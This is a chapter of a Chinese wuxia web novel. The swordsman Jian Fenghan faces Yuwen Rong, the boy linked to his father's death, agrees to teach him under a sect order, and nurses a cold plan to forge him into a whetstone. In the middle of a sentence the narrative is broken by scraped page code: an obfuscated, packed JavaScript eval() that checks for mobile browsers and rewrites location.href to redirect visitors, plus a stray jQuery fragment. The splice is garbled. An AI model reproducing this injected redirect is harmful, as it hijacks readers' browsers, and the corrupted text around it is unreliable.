霜降次日，晨雾未散，锦州城南门已聚集了不少人。寒气凝在枯草梢头，结成细碎的霜晶。
沈若旭带着沈傲候在城门内，身后是两列靖王府亲卫。沈傲换了身崭新的墨蓝劲装，腰悬长剑，站得笔直，眼中是掩不住的兴奋与紧张。他昨夜几乎未眠，翻来覆去想着今日要见的天下第一剑客。
远处官道上，一道青衫身影渐行渐近。
那人走得不快，却异常稳当。二十岁上下的年纪，背一柄用粗布缠裹的长剑，青衫磊落，步履间有种山岳般的沉凝。随着他走近，城门附近原本的嘈杂声渐渐低了下去——并非刻意，而是那人周身自然而然散发的冷寂，仿佛将周遭的热闹都隔开了一层。
“来了。”沈若旭低声道，上前两步。
剑锋寒行至城门前，停下脚步。他目光扫过众人，最后落在沈若旭身上，微微颔首：“沈世叔。”
“恪儿，”沈若旭面露感慨，“两年了。”
“两年。”剑锋寒声音平淡，听不出情绪，但目光掠过沈若旭身后的靖王府亲卫时，眼底极深处闪过一丝几乎无法察觉的微澜。
沈若旭侧身引荐：“这是犬子沈傲。傲儿，还不见过齐哥哥？”
沈傲深吸一口气，上前抱拳行礼，声音因激动而微颤：“沈傲，见过齐哥哥！久仰大名，今日得见，三生有幸！”
剑锋寒看了他一眼，点点头，目光在他腰间长剑上停留一瞬，随即移开。那目光平静无波，却让沈傲莫名感到一丝压力。
“听闻齐哥哥剑术通神，”沈傲按捺不住，眼中闪着光，“我自幼习剑，能否……能否指点一二？”
他说着，不等剑锋寒回应，便退后几步，“铮”地一声长剑出鞘。阳光下，剑光流转，他摆开架势，将苦练多年的“疾风十三式”一气呵成地使了出来。剑风呼啸，招式连贯，看得出下了苦功。周围亲卫中有人暗暗点头。
一套剑法使完，沈傲收剑，气息微促，脸上带着期待看向剑锋寒。
剑锋寒沉默地看着他，片刻后，缓缓开口：“沈公子根骨不差，招式亦熟。”
沈傲眼睛一亮。
“但，”剑锋寒话锋一转，声音平静无波，“经脉滞涩，气行不畅。习剑如逆水行舟，非上佳之选。齐某剑术未精，不敢收徒。”
沈傲脸上的光彩瞬间黯淡。他握剑的手紧了紧，指节发白，还想说什么，沈若旭已上前一步，拍了拍他的肩，对剑锋寒道：“贤侄一路辛苦，先进城安顿吧。”
剑锋寒颔首，不再多言，随沈若旭入城。
身后，沈傲站在原地，望着那青衫背影消失在城门洞的阴影里，脸色阵青阵白。那句“经脉滞涩”像根冰刺，扎在他心口。
靖王府书房。
沈若旭回来复命时，靖王正在批阅军报。听到脚步声，他头也不抬：“如何？”
沈若旭摇头：“傲儿在他面前耍了一套剑法。恪儿直言他经脉不适习剑，自己剑术未成，不敢收徒。”
靖王放下笔，并不意外：“傲儿性子急躁，气脉本就难静。修习大开大合的刀枪，或许更适合他。”
“我又何尝不知。”沈若旭苦笑，“可是以傲儿的脾气，听不到亲口拒绝，是不会死心的。”
书房内静了片刻。
“恪儿还是不肯回来住？”靖王问。
沈若旭点头：“他说住客栈清静。我已为他安排了归云客栈的天字号房。”
靖王沉默良久，缓缓道：“也罢。十日后，王府设宴款待他。”
沈若旭欲言又止，最终还是躬身退下。
书房重归寂静。靖王起身走到窗前，望向落叶轩的方向，目光深邃而复杂。霜雾笼罩的庭院，灰蒙蒙一片，看不真切。
那个眉眼间依稀有着齐寿轮廓的青年……回来了。
两年前，齐寿和另外四位老兄弟，死在那场宫变里。
而让他们毫不设防进入云翳宫的，是他年仅八岁的儿子，戎儿。
靖王的手指无意识收紧。他记得齐恪小时候，虎头虎脑，总跟在齐寿身后，他喜欢剑，六岁时便离家上了蜀山。齐寿死后，那孩子跪在灵前，一滴泪都没掉，只是死死攥着拳头，指甲掐进肉里。
如今，他成了天下第一剑，剑锋寒。
他回到锦州，会怎么看待落叶轩里的戎儿？那个……间接导致他父亲惨死的孩子？
靖王闭上眼，胸口像压着块石头。他既怕齐恪因父仇伤害戎儿，更怕……戎儿自己。若他知道了，以他的性子，会怎样面对齐恪？
锦州尚武，天下第一剑客剑锋寒入住归云客栈后，引起了不小的轰动，武者纷纷递帖讨教。三日内，所有挑战者皆在十招内败北。直到第四日，如影和似随登场。
他们上场时，剑锋寒目光在他们身上多停留了一瞬。这两人脚步沉实，气息绵长如江河，眼中锐气含而不露，是他入锦州以来遇到的最强对手。
“请。”剑锋寒道。
如影似随同时拔剑。剑光乍起，一左一右，如双龙出海。这是长公主府暗卫苦练二十年的合击之术。
第一场，三十招。
剑锋寒的剑如风中之絮，每每在双剑即将合围的刹那，从最不可能的缝隙切入，剑之所向，皆是二人内力流转的节点。三十招后，如影肋下中了一指，闷哼退后；似随手腕被拂，剑势溃散。
“承让。”剑锋寒收势。
第二场，翌日再战。五十招。剑锋寒剑锋凛冽，如未卜先知，总能提前半息截断他们的攻势。
第三场，第三日黄昏。七十招。剑锋寒身形快如鬼魅，剑招化作漫天风影，同时笼罩两人。
三战，皆败。
围观的锦州武者鸦雀无声。这三场比试，已非“讨教”，而是真正的较量。
如影和似随收剑，闷闷不乐地回到落叶轩。
败北的挫败感，在落叶轩院内发酵成了持续三日的争吵。
“你那‘惊涛拍岸’若早变半式，我‘流云回峰’便能封他左肋！”
“早变？我若早变，中门大开，死得更快！分明是你‘回峰’慢了，内力接续有隙！”
……
争吵声越来越高。宇文戎起初还能在屋内勉强推演阵图，到后来，那声声争执如钝刀刮骨，彻底碾碎了他的思绪。
第三日傍晚，残阳如血。他忍无可忍，推门而出。
院中狼藉遍地，画满剑痕的地面像一张被撕碎的棋谱。两人各据一方，面红耳赤，眼中血丝密布。
“够了。”宇文戎声音不大，却让争吵戛然而止。
他走到那些凌乱剑痕前，垂眸细看。虽不精剑道，但阵法推演与攻守转换，其理相通。那些线条在他眼中，渐渐还原成流动的方位与时机。
“你们争的，无非是‘时’与‘位’。”他抬手指向几处关键交叉点，“既如此，为何不去问那个让你们产生分歧之人？”
院中死寂。
许久，似随低声道：“三战皆败……无颜再往。”
宇文戎看着他们，心头烦躁愈盛。他想安静，他需要继续推演那张阵图。这无休止的争吵，像蛛网缠住了他的思绪。
“剑来。”他朝如影伸手。
如影愕然，解下佩剑递上。
剑名“承影”。宇文戎双手接过——剑很沉，冰冷的剑鞘贴着手心。他闭目，深吸一口气，开始回想这三日听到的只言片语、看到的零碎痕迹，依样比划。动作生涩，毫无劲力，脚步虚浮，但角度、步伐、剑尖所指的方位，竟渐渐有了模糊的轮廓。
他练了数遍，额上已见薄汗。停剑，微微喘息：“给我三日。”
转身回屋，关门。
屋内，他对着虚空，一遍遍重复那几个动作。没有内力，便用全副心神去揣摩“意”。
三日后，黄昏。如影、似随拦住了前来赴宴的剑锋寒：“我家少主诚邀先生移步一叙，请教剑理。”
落叶轩院门推开时，剑锋寒看到一个十岁左右的孩子立于院中，手持长剑。剑身映着最后一缕天光，流淌着慑人寒意。
“先生。”宇文戎依礼抱拳，“晚辈有一事请教。”
剑锋寒目光落在他握剑的手上，虎口处有新磨出的红痕，手指因用力而微微颤抖。“何事？”
“为这两位护卫，请教那三场比试，破解之道。”
剑锋寒看向如影和似随。两人垂首，面色微赧。
“他们自己为何不问？”
“三战皆北，无颜相询。”宇文戎答得坦然，“晚辈受托，代为讨教。”
剑锋寒看了他片刻，那孩子眼神平静，却有种不容置疑的坚持。“你想如何讨教？”
宇文戎退开三步，横剑于胸：“晚辈依两位护卫所述，摹得先生当日所用三式。请先生以剑指正破解之道。”
说罢，他气息一沉，剑随身走。
第一式，剑尖斜挑，迅捷如电，正是那日破开双剑“惊涛”、“回峰”合击的起手。
剑锋寒眼神一亮。
宇文戎剑势又起，手腕轻旋，剑锋倏然回绕，划过一道绵密圆弧，封住身前空档。这是当日第二战中，后发先至，截断双剑变化的一招。
最后一式，宇文戎步伐陡然加快，身形前趋，剑意凝聚如针，直刺而出！剑风激得地上落叶簌簌作响。这一剑，少了内力催逼的锐响，但那孤注一掷、直指破绽的神韵，竟有了几分影子。
三式使完，宇文戎收剑而立，气息微乱，持剑的手却稳如磐石。
“招式可摹，其理难明。晚辈愚钝，只得其形，未得其神。”他看向剑锋寒，“请先生指点。”
院中寂静，唯余秋风呜咽。
剑锋寒的目光长久地落在那柄“承影”上，又缓缓移至宇文戎的脸上。烛火在那双过于澄澈的眼中跳动。
“你练了多久？”他问。
“三日。晚辈只能依样描形，勉强似之。”
剑锋寒忽然迈步向前，从似随腰间抽出佩剑。
“看好了。”他声音平淡，剑已递出。
同样是那三式。
第一式，剑光如水银泻地，无孔不入，直指双剑刚柔转换间那微不可察的滞涩之处。
第二式，剑招未发，剑意已笼罩全场，后发先至，精准地截在如影、似随旧力方尽、新力未生的刹那。
第三式，剑锋寒人随剑走，快得只剩一道虚影，剑尖凝练的寒意直刺人心，那并非针对剑招，而是直指两人心绪浮动、剑意不纯的一瞬破绽。
演示完毕，剑锋寒随手还剑入鞘，看向宇文戎：“看明白了？”
宇文戎照样练了一遍，深深一揖：“谢先生解惑。”
剑锋寒的目光却未移开，反而更沉：“你叫什么名字？”
“宇文戎。”
时间，仿佛在这一刻被冻凝、然后狠狠摔碎。
宇文戎。
那个父亲屡屡提及需要誓死效忠的宇文氏血脉？
也是……导致父亲惨死在云翳宫宴上的帮凶？
剑锋寒脸上所有的神情——那点探究，那丝讶异，甚至方才演示剑招时眼底一闪而过的锐光——在听到这三字的瞬间，被一种近乎空白的死寂取代。
随即，无数情绪在那空白上爆炸：被岁月尘封的剧痛、亲眼见到帮凶的恍惚、被“忠”与“孝”两面撕扯的暴怒、还有一丝连他自己都厌恶的、对这张稚嫩苍白面孔无法升起纯粹恨意的无力……
所有的情绪最终坍缩成一片深不见底的、冰封的黑暗。那黑暗太沉太重，几乎要将他自己也吞噬。
他没再说一句，仿佛再多待一瞬，那冰封就会碎裂，露出底下他自己都无法控制的洪流。他掉头便走，青衫身影决绝地没入落叶轩外渐浓的夜色，如同逃离一个醒不过来的噩梦。
宇文戎看着那消失的方向，眼中掠过一丝清晰的困惑。剑锋寒的反应……太过奇怪。不仅仅是看到“靖王之子”该有的样子。
他低头，看着自己因练剑而磨破的掌心。
那夜，落叶轩的烛火一夜未熄。
宇文戎翻开了靖王府的旧档。泛黄的卷宗记载着历年事略，他在其中寻到“齐”字。剑锋寒，本名齐恪。父，齐寿。靖王麾下悍将，两年前死于云翳宫。
云翳宫。
这三个字像一把冰冷的钥匙，猝然打开了记忆深处最恐惧的闸门。
箭矢破空声……御座上舅舅慢条斯理擦手的样子……五位叔伯瞬间变成的血色刺猬……其中就有齐寿！那个曾在长公主府里，用胡茬扎过他脸，笑声洪亮的齐伯伯！
而齐恪的父亲，是因他当年那句天真雀跃的“传话”而死的。
胃里一阵翻搅，冰冷的恐惧和清晰的罪恶感，如同铁钳扼住了他的喉咙。他猛地捂住嘴，伏在案上，肩膀控制不住地颤抖。不是因为害怕剑锋寒报复，而是因为终于无比清楚地意识到，自己手上沾着血，沾着齐恪至亲的血。
许久，他缓缓直起身，擦去眼角因剧烈的生理反应而溢出的泪水，眼神却变得空洞而冰冷。烛火在他瞳孔中跳动，映不出丝毫温度。
原来如此。
所以剑锋寒那样看他。
这世上，果然没有无缘无故的冰冷。
他将卷宗锁回柜子深处，吹熄了灯。躺在冰冷的榻上，窗外月光凄清。
剑锋寒最后那个冰封的眼神，反复在眼前闪现。那里面，除了恨，是不是还有别的？比如……和他此刻一样的、无处安放的痛苦？
他需要力量。不仅是为了活下去。或许……也是为了将来有一天，能直面那双眼睛，能承受那份重量，能有资格……去说一声什么，或偿还一点什么。
这个念头，让他心底的寒冷，带上了一丝赎罪的决绝。
翌日清晨，沈傲又来了。
他抱着臂斜倚在落叶轩斑驳的门框上，目光扫过正在院中静立的如影和似随，嗤笑出声：“听说你的两位‘高手’护卫，跟剑锋寒比剑，连战三场，场场皆输！真是给你家少主长脸啊！”
如影的手倏地按上剑柄。似随眼神骤冷。
宇文戎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048630|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正在擦拭“承影”，闻声抬眼看他。晨光里，沈傲脸上那种得意、那种居高临下的快意，如针扎眼。连日来的压抑、孤寂、还有昨夜得知血债后的滔天罪恶感，在此刻被这声嗤笑点燃。
他放下剑，站起身，声音不大，却清晰：“你拜师未遂，还有脸来此嘲笑？”
沈傲一愣，脸上闪过狼狈，随即梗着脖子：“剑锋寒不收徒，那是他眼光高！谁都不收！”
“是吗？”宇文戎缓缓道，心中那股被激起的逆反，混合着一种想要证明什么、甚至想要赎罪的扭曲冲动，让他脱口而出，“那不如我们打个赌。”
他顿了顿，看着沈傲瞬间错愕的脸，一字一句补充，声音里带着自己都未察觉的、近乎挑衅的决绝：“就赌……我能让剑锋寒教导我剑术。”
他盯着沈傲的眼睛：“你做不到的事，未必别人也做不到。”
沈傲脸色变了变，随即爆发大笑，笑声却有些干：“你？宇文戎，你知不知道剑锋寒是什么人？他说不收徒，那就绝不收！天下皆知！你以为你是谁？凭你这病秧子似的模样？”
“我能让他教导我剑术，”宇文戎重复，心跳如擂鼓，但话已出口，不容收回，“赌，还是不赌？”
“赌！当然赌！”沈傲伸出手，满脸讥诮，“你要是能做到，我沈傲的‘傲’字倒着写！”
宇文戎摇头，冷静了些：“倒写不必。若我做到，你见我，退避三舍即可。”
“行啊！退避三舍就退避三舍！”沈傲掌心向上，“击掌为誓！谁不认账，谁是王八！”
宇文戎抬手，与他重重对击一掌。
掌声清脆，在清晨冷寂的院落里回荡。
沈傲带着满脸嘲弄走了。宇文戎看着自己微微发红、尚在颤抖的掌心，慢慢握紧。
刚才……是冲动吗？是。但他不后悔。
或许只有这样，把自己逼到绝处，他才能找到一条路——一条既能偿还血债，又能继续活下去的路。哪怕那条路布满荆棘，尽头可能是剑锋寒冰冷的剑锋。
剑锋寒说"绝不收徒"。那人一身霜雪气，言出必践。想让他教导剑术，唯一的可能，是来自蜀山最高层的，他无法违逆的师门之命。
宇文戎觉得自己需要两样东西：一件能让蜀山掌门无法拒绝的“拜师礼”，以及一位能替他送上这份礼，并开口举荐的“长辈”。
落叶轩的灯火三夜未熄……
几日后，剑锋寒收到蜀山掌门密令时，正在归云客栈后院练剑。
剑光如雪，撕裂沉沉夜色，却斩不断心头那团自那日落叶轩后便阴燃不熄的毒火。宇文戎……那张苍白的脸，那双过于清醒沉静的眼，总在眼前晃动。还有那个名字所代表的一切——恩、债、血、以及父亲无数次的嘱托：“没有大帅府便没有齐家。我们齐家要世代效忠宇文氏。”
直到那封火漆密令送至手中。
展开素笺，只有掌门师兄两行铁画银钩的字：
“吾已代先师收宇文戎为外室弟子，事已定。汝在锦州，可代师授艺。如何教导，自行决断。”
落款是蜀山掌门印鉴，朱红刺目。
剑锋寒握着那张轻飘飘却重如千钧的纸，在院中石凳上坐到月过中天。
代先师收徒……外室弟子……蜀山开派三百年，从未有过的先例。掌门为何如此？是因那孩子的资质？还是因靖王府？或是朝廷？
无论因为什么，那个害死父亲的孩子已成为他的师弟，还要他代师授艺？
荒谬。痛楚。还有一丝……被命运彻底扼住咽喉的无力。
月光清冷如霜，洒在院中。师父昔年在蜀山绝顶的话，忽然清晰响起：“剑道之极，不在败敌，而在问道。然问道孤独，需有磨剑石。石越硬，剑愈锋，心愈明。”
磨剑石……
他一直寻找，却始终找不到那块能让他感到威胁、逼他突破极限的“石头”。那种身处峰巅、四顾茫然的寂寞，比仇恨更蚀骨。
目光再次落在“宇文戎”三字上。那孩子摹剑时的眼神，那种可怕的专注与领悟力，还有那份超乎年龄的沉静……
一个念头，如夜色中破土而出的毒藤，冰冷而疯狂地滋长：倘若，这块注定要面对的、最坚硬的“磨剑石”，由他自己亲手来锻造呢？
把他教成最强的样子，倾囊相授，看他能走到哪一步。同时，也近距离地、冷酷地审视他——这个害死父亲的孩子，究竟是懵懂无知的棋子，还是天性凉薄的祸首？
然后，用这块自己锻造出的、浸透着血债与恩怨的石头，来磨砺自己的剑，叩问自己的道。或者，在未来的某一天，亲手击碎他，为父亲讨回一点公道——哪怕那公道，在“忠”字面前，显得如此苍白而扭曲。
无论哪种结局，似乎都能终结这漫长的、无处着落的煎熬与等待。那甚至是一种……殉道般的期待。
胸中那股针对宇文戎的阴郁之火，此刻诡异地转化了。不再是灼烧的怒与痛，而是凝结成一种极致冷静、乃至冷酷的决意。
他起身，月光将他的身影拉得细长，孤直，如同另一柄即将出鞘的、只为斩断宿命或斩向自身的剑。
剑锋寒开始授艺的第一日午后，沈傲冲到了落叶轩。
他刻意挑了剑锋寒不在的时辰，正撞见宇文戎在院中练剑。
“宇文戎！”沈傲眼睛赤红，“他明明说了‘不收徒’！现在却在这里教你？这算什么！”
宇文戎停下动作，缓缓收剑，气息因练习而微促。他看向沈傲，声音平静：“寒师兄确实不曾‘收徒’。”
“那他为什么教你剑术？”沈傲声音尖利。
“代师授艺。”宇文戎一字一句，清晰无比，“蜀山掌门已代先师收我为外室弟子，命寒师兄在锦州期间，代为传授剑术基础。此为‘授艺’，非‘收徒’。赌约所言‘教导剑术’，并未限定形式。”
“你……你耍赖！”沈傲脸色涨得通红，“这是玩文字把戏！我不认！”
“沈公子。”宇文戎的声音从身后传来，平静得可怕，“击掌为誓时，你说过什么？”
“谁不认账，谁是王八。”宇文戎缓缓重复。
沈傲的背影僵住了。他缓缓转身，眼睛死死盯着宇文戎，那眼神里有被愚弄的暴怒，有当众失颜的屈辱，更有一种被看似孱弱对手彻底算计后的恐慌与寒意。
许久，他从牙缝里挤出几个字：“宇文戎……你给我等着。”
他不再多说，猛地转身，踉跄着冲出了落叶轩。
院门在他身后剧烈晃动，吱呀作响。
宇文戎握着剑，站在原地，掌心微微出汗。他赢了赌约，却并无快意。
剑锋寒一年中大半时间留在锦州，大半的精力倾注于落叶轩。除了授艺与惩戒，他与宇文戎再无多余交谈。他也从未教过靖王府其他任何人，甚至极少踏出落叶轩与为他准备的客院。他的世界，仿佛只剩下剑，和眼前这个必须用最残酷的方式锻造的“磨剑石”。
七年光阴，在双方沉默间隙里，悄然流逝。